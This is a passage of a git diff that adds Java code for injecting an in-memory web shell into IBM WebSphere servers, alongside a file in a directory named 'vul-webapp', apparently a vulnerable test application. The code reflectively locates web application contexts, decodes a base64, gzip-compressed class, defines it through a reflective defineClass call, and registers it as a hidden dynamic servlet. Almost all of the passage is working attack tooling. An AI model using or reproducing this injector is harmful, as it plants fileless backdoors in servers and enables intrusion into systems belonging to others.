context = getFieldValue(getFieldValue(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + public void inject(Object context, Object servlet) throws Exception { + Object config = getFieldValue(context, "config"); + Object servletInfo = invokeMethod(config, "getServletInfo", new Class[]{String.class}, new Object[]{getClassName()}); + if (servletInfo != null) { + System.out.println("servlet already injected"); + return; + } + invokeMethod(context, "addDynamicServlet", new Class[]{String.class, String.class, String.class, Properties.class}, new Object[]{getClassName(), servlet.getClass().getName(), getUrlPattern(), null}); + System.out.println("servlet injected successfully"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } +} diff --git a/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml b/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml new file mode 100644 index 00000000..2b6683ca --- /dev/null +++ b/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file